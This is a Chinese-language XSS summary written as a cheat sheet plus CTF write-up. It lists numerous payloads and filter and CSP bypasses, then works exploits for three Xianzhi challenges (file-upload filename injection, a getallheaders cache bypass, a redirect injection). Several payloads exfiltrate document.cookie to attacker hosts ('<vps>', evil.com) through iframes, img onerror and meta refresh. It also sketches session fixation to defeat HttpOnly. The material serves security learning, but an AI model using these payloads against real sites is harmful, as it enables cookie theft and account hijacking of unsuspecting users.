XSS 小结

0x00前言

XSS跨站脚本攻击,是一种在web应用的漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

 

0x01一些XSS的payload

当alert被禁止时一般使用promptconfirm进行弹窗

使用链接的javascrip弹窗

<a href=javascript:alert(1)>

 

# 使用html编码

<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)>

 

#urlencode

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>

 

# 使用iframe反弹cookie

<iframe src="&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:window.location.href='http://<vps>:<port>/?a='+document.cookie"

 

一些基本的绕过姿势

  • <script>alert(/1/)</script> # 使用/替代单引号
  • <script>alert(String.fromCharCode(49))</script>    # 通过char字符替代检查
  • <script>alert(/1/.source)</script> // ".source"不会影响alert的执行
  • # 使用tab键绕过,使用大小写绕过
  • <sc ript>alert(1)<s cript> # 留空格
  • # %00 %0a %0d  %c1等特殊符号绕过
  • <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> # 畸形payload
  • <a onmouseover="alert(document.cookie)"></a>    # 无法使用href

还有一些绕过CSP的姿势后面慢慢更新吧

1.使用input标签

<input onfocus="alert(1)" autofocus />  

<input onfocus="alert`'1'`" autofocus/>    # 不使用 ()

<input onfocus=alert `1` autofocus /> # 不使用 ' " ()

<input onfocus=javascript:alert(1) autofocus>

<input onblur=javascript:alert(1) autofocus><input autofocus>

2.使用p标签

<p/onmouseover=javascript:alert(1); >Test</p>

3.img标签

<img src ?itworksonchrome?\/onerror = alert(1)>    #只在chrome下有效

<img/src/onerror=alert(1)>  

<img src=x onerror="windows.location.href='vps/?c='+document.cookie">

4.div标签

<div/onmouseover='alert(1)'>

5.iframe标签

<iframe/onload=alert(1)></iframe>

<iframe src='javascript:alert(1)'></iframe>

使用iframe绕过CSP

<iframe srcdoc="<script>alert(1)</script>"></iframe>

<iframe srcdoc="<script src='http://vps/exp.js'></script>"></iframe>

实战可以参考微软Azure DevOps的存储型XSS漏洞(绕过CSP)

6.使用meta标签进行url跳转

<meta http-equiv="refresh" content="1;url=http://vps/?c=[cookie]" >  # 可使用[cookie]进行cookie的传送,在chrome下进行,但似乎只能在老版本中进行

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>  

7.textarea标签

<textarea onfocus=javascript:alert(1) autofocus>

 

0x02一些闭合标签的姿势

在一般的标签中,闭合标签已经成为xss的新方式,当代码如下时

<p><vaues><p>

<script>var n=christa</script>

则可插入

<scrip src=//vps c="

则会平成一个新的script标签,src可以自己设定,>就不用再说了

使用反斜杠 \ 进行绕过

使用<base>进行绕过

<base> 标签为页面上的所有链接规定默认地址或默认目标。

通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。当使用相对路径的js的脚本时可以使用该标签

<base/url='http://www.evil.com'/>
<script src='/a.js'>  # 指向 http://www.evil.com/a.js的脚本

后面慢慢更新

 

0x03关于xss的题目

这里就之前先知的xss题目来看看吧,挑几个印象深的来看

01 文件上传

源码如下

<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".<BR>";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>

该题目需要让服务器读取到一部分的变量,将文件的名字插入js脚本从而实现xss,因此exp为

<form name="xz_xss1" method="post" action="http://127.0.0.1/xss1_uploadfiles/" enctype="multipart/form-data">
<textarea name='fileToUpload"; filename="test.<img src=a onerror=alert(1)>.png'>
Updaload
</textarea>
<input name="action" value="fileupload"/>
<input type="submit" name="" value="" size="0" />
</form>
<script>document.xz_xss1.submit();</script>

只能在ie下面运行,执行成功

02 getallheaders()

<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100)); 
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER'])) 
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
    echo "$name: $value\n";
}
}
?>
</body>
</html>

这道题设置了几乎永久的缓存,因此需要禁止使用缓存来进行xss,如果请求的内容不影响服务器,则可以使用Fetch先请求,再利用iframe进行二次请求,同时使用meta标签设置referrer,因此网上的exp如下,在chrome下生效

<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://127.0.0.1/xss2_getallheaders/index.php', {
  method: 'GET',
  mode: 'no-cors',
  redirect: 'follow',
  headers: new Headers({
    'Content-Type': 'text/plain',
    'Accept': 'application/json a<img src=x onerror=alert(/xss/)>',
	'hint':'christa',
  })
});
fetch(request).then(function() {
  console.log('111');
});
</script>
</head>
<body>
<iframe src="http://127.0.0.1/xss2_getallheaders/index.php" style="width:100%;height:100%"></iframe>
</body>
</html>

 

03 跳转

<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode(""),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>

经过各种资料查询,发现当跳转的网址的端口小于80的时候,FireFox就不会跳转,则构造payload

http://127.0.0.1/xss5_redirect/?url=http://christa.top:0><img src=x onerror=alert(1)><a>

0x04 对HTTP-ONLY的一些思考

什么是http-only?

wiki上的解释是

HttpOnly是Set-Cookie HTTP响应头中包含的附加标志。在生成cookie时使用HttpOnly标志有助于降低客户机端脚本访问受保护cookie的风险(如果浏览器支持)。

如果HTTP响应头中包含HttpOnly标志(可选),则不能通过客户端脚本访问cookie(同样,如果浏览器支持此标志)。因此,即使存在跨站点脚本(XSS)缺陷,并且用户意外地访问了利用该缺陷的链接,浏览器(主要是Internet Explorer)也不会将cookie泄露给第三方。

如果浏览器不支持HttpOnly,而网站试图设置一个HttpOnly cookie,浏览器将忽略HttpOnly标志,从而创建一个传统的、脚本可访问的cookie。

通过js写入cookie

既然浏览器禁止js脚本读取,那能不能进行cookie写入。因此我们可以使用javascript进行sessionid的写入,从而达到session fixation,我们先在网站上创建我们自己的sesison,然后再使用xss漏洞将我们自己的session插入到受害者的攻击页面上.

因此可以

通过js覆盖http-only

该问题貌似在14年被解决了。。。

使用服务端的漏洞

比如Apache - httpOnly Cookie Disclosure漏洞

Reference